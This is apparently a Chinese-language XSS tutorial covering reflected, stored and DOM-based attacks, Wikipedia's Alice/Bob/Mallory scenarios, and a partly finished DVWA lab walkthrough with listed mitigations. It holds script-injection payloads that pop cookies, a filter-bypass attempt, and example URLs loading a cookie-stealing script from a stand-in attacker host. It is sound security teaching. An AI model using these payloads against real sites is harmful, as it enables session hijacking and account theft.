XSS是什么
XSS(cross-site-scripting) 即是跨站脚本攻击,是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。
简洁点来说,XSS 就是利用了网站对用户输入没有过滤完全的漏洞,上传恶意代码到网站页面上,使得其他用户加载页面时执行攻击者的恶意代码,达到窃取用户敏感信息(如 cookie)的目的,根据种类不同,一般又分为 反射型 XSS 攻击,存储型 XSS 攻击,DOM 型 XSS 攻击
Non-persistent (reflected)
反射型 XSS 攻击并不会将恶意脚本存储在服务端,需要用户在和后端交互时自己输入恶意的脚本,因此这种 XSS 攻击一般存在于钓鱼连接中,攻击者已经构造好一个包含恶意代码的链接,如果用户点击了这个链接,就会被窃取隐私信息,比如下面这个钓鱼链接就是个反射型 XSS 攻击脚本
http://bobssite.org/search?q=puppies<script>alert('document.cookie');</script>
Persistent (or stored)
存储型 XSS 攻击是将恶意脚本植入服务器端,这样每一次用户访问一个正常的页面时,恶意的代码都会被自动渲染,如果不能及时发现的话会对网站造成很大的影响,假如在一个访问量很大的页面启用 XSS 攻击访问另外的一个网站,则会造成 Dos 攻击的效果,这种 XSS 一般存在于留言板之类的应用中
DOM-based
DOM 型的 XSS 攻击不会将代码传到服务器端进行交互,所有的处理都由 JavaScript 完成,因此如果前端 JavaScript 没有对输入进行很好的过滤就会造成这种 XSS 攻击,一般 DOM 型的 XSS 攻击和反射型的 XSS 攻击最大的区别就是: DOM 型 XSS 是利用 JavaScript 的 document.write
和 document.innerHTML
等函数来进行 HTML 注入
Wikipedia demo
这里是维基百科上关于 XSS 攻击的两个 demo ,包含持续性和非持续性两种例子
Non-persistent
- 爱丽丝经常访问由鲍勃(Bob)托管的特定网站。 Bob的网站允许 Alice 使用用户名/密码对登录并存储敏感数据,例如账单信息。 当用户登录时,浏览器会保留一个“授权 Cookie”,它看起来像一些垃圾字符,因此两台计算机(客户端和服务器)都具有她已登录的记录。
- Mallory 注意到 Bob 的网站包含一个反射型 XSS 漏洞:
- 当她访问“搜索”页面时,她在搜索框中输入搜索词,然后单击“提交”按钮。 如果未找到任何结果,则该页面将显示她搜索的字词,后跟“未找到”字样,其网址为 http://bobssite.org/search?q=her%20search%20term
- 使用正常的搜索查询(例如单词“ puppies”),页面仅显示“找不到小狗”,而网址为“ http://bobssite.org/search?q=puppies”-这是完全正常的行为
- 但是,当她提交异常的搜索查询时,例如“
- 出现一个警告框(显示 “ xss” )
- 该页面显示“未找到”,以及带有文本 “ xss” 的错误消息。
- 网址是 “ http://bobssite.org/search?q= <script%20type =’application / javascript’> alert(’xss’); </ script> - 这是可利用的行为
- Mallory制作了一个利用此漏洞的URL:
- 她制作了 URL http://bobssite.org/search?q=puppies<script%20src=“ http://mallorysevilsite.com/authstealer.js”> </ script>。 她可以选择使用百分比编码来对 ASCII 字符进行编码,例如 http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E,因此人类读者无法立即破译恶意 URL
- 她向鲍勃网站的一些毫无戒心的成员发送了一封电子邮件,说:“看看一些可爱的小狗!”
- 爱丽丝得到了电子邮件。 她喜欢小狗,然后单击链接。 它转到 Bob 的网站进行搜索,未找到任何内容,并显示“未找到小狗”,但在这之间,脚本标签运行(在屏幕上不可见)并加载并运行 Mallory 的程序 authstealer.js(触发 XSS 攻击), 爱丽丝并不知道。
- authstealer.js 程序在Alice的浏览器中运行,就像它起源于Bob的网站一样。 它获取 Alice 的 Authorization Cookie 的副本,并将其发送到 Mallory 的服务器,Mallory 在该服务器上检索它。
- Mallory 现在将 Alice 的授权 Cookie 放在自己的浏览器中,就好像是她自己的一样。 然后,她去了 Bob 的站点,现在以 Alice 的身份登录。
- 现在她进入了,Mallory 转到网站的 Billing 部分,查找 Alice 的信用卡号并获取一个副本。 然后她去更改密码,以使爱丽丝什至无法登录。
- 她决定更进一步,并向 Bob 自己发送类似的链接,从而获得 Bob 的网站管理员权限。
防治措施:
- 搜索框对用户输入进行过滤,其中包括正确的编码检查
- 服务器对错误的请求进行重定向
- 服务器检测到同时登录就使会话无效
- 服务器检测到同时在两个 ip 登录就使会话无效
- 网站只展示银行卡最后几位数字
- 在更改信息前让用户输入密码确认
- cookie 中设置
HttpOnly
字样防止通过 JavaScript 访问
Persistent
- Mallory 在 Bob 的网站上获得了一个帐户
- Mallory 发现 Bob 的网站包含一个存储型 XSS 漏洞。 如果转到“新闻”部分并发表评论,它将显示他输入的任何内容。 但是,如果注释文本中包含 HTML 标记,则标记将按原样显示,并且所有脚本标记都将运行
- Mallory 在“新闻”部分阅读文章,并在“评论”部分底部写评论。 她在评论中插入了这段文字:我喜欢这个故事中的幼犬! 他们是如此可爱!<script src =“ http://mallorysevilsite.com/authstealer.js”>
- 当爱丽丝(或其他人)用评论加载页面时,马洛里的脚本标签运行并窃取爱丽丝的授权 cookie,然后将其发送到 Mallory 的秘密服务器进行收集
- Mallory 现在可以劫持 Alice 的会话并假冒 Alice
防治措施:
- 对用户的 HTML 标签进行过滤
- 利用 token 技术,防止 CSRF 攻击
DVWA 案例
低级
XSS(DOM)
低级案例通过 GET 方法将下拉框选中的内容发送给本页面,如果有 default=
字样的话就进行接下去的操作,没有对输入进行任何过滤,因此在浏览器地址栏我们可以构造出以下 payload
http://localhost/dvwa/vulnerabilities/xss_d/?default=Spanish<script>alert(document.cookie);</script>
XSS(Reflected)
输入什么就返回什么,那我们也可以构造出一个 payload 来弹出 cookies
kevin<script>alert(document.cookie);</script>
XSS(Stored)
这是个留言本应用,经常会有存储型 XSS 漏洞,当存在这种漏洞时,如果有人恶意攻击了这个页面,那么随后访问的用户都会被利用,如果在页面中植入下面这个 payload,则后面访问的用户访问时都会弹出 cookies
Name: hacker
Message: jsfuck<script>alert(document.cookie);</script>
可以看到,植入代码之后,脚本就存储在了页面中,这是持久性的,只要管理员没有发现,就会一直有人受害
中级
XSS(DOM)
中级的案例对 <script
标签做了过滤,因此我们可以选择绕过,浏览器对大小写是不敏感的,因此我们可以将 script 大写,像下面这样
http://localhost/dvwa/vulnerabilities/xss_d/?default=Spanish<Script>alert(document.cookie);</Script>
然而事实证明,这种方法并没有卵用,不能绕过,看了源码,后端用了 stripos
函数过滤,这个函数是不区分大小写的,因此大写对他没用,直接把 script
给过滤了,因此我们考虑一下用另外一种标签,开始想到的是图片标签,构造一个不存在的图片
http://localhost/dvwa/vulnerabilities/xss_d/?default=Spanish<img src=233 onload=alert(document.cookie); hidden="true"/>
但是也没啥用,因为后面 JavaScript 将内容写进了 option
标签里面,而 option
里面是不能放图片的,所以此路不通,那就再换一个思路,
XSS(Reflected)
XSS(Stored)
高级
XSS(DOM)
XSS(Reflected)
XSS(Stored)
不可能
XSS(DOM)
XSS(Reflected)
XSS(Stored)
summary
永远不要相信用户的输入,不要被局限,万物皆可 XSS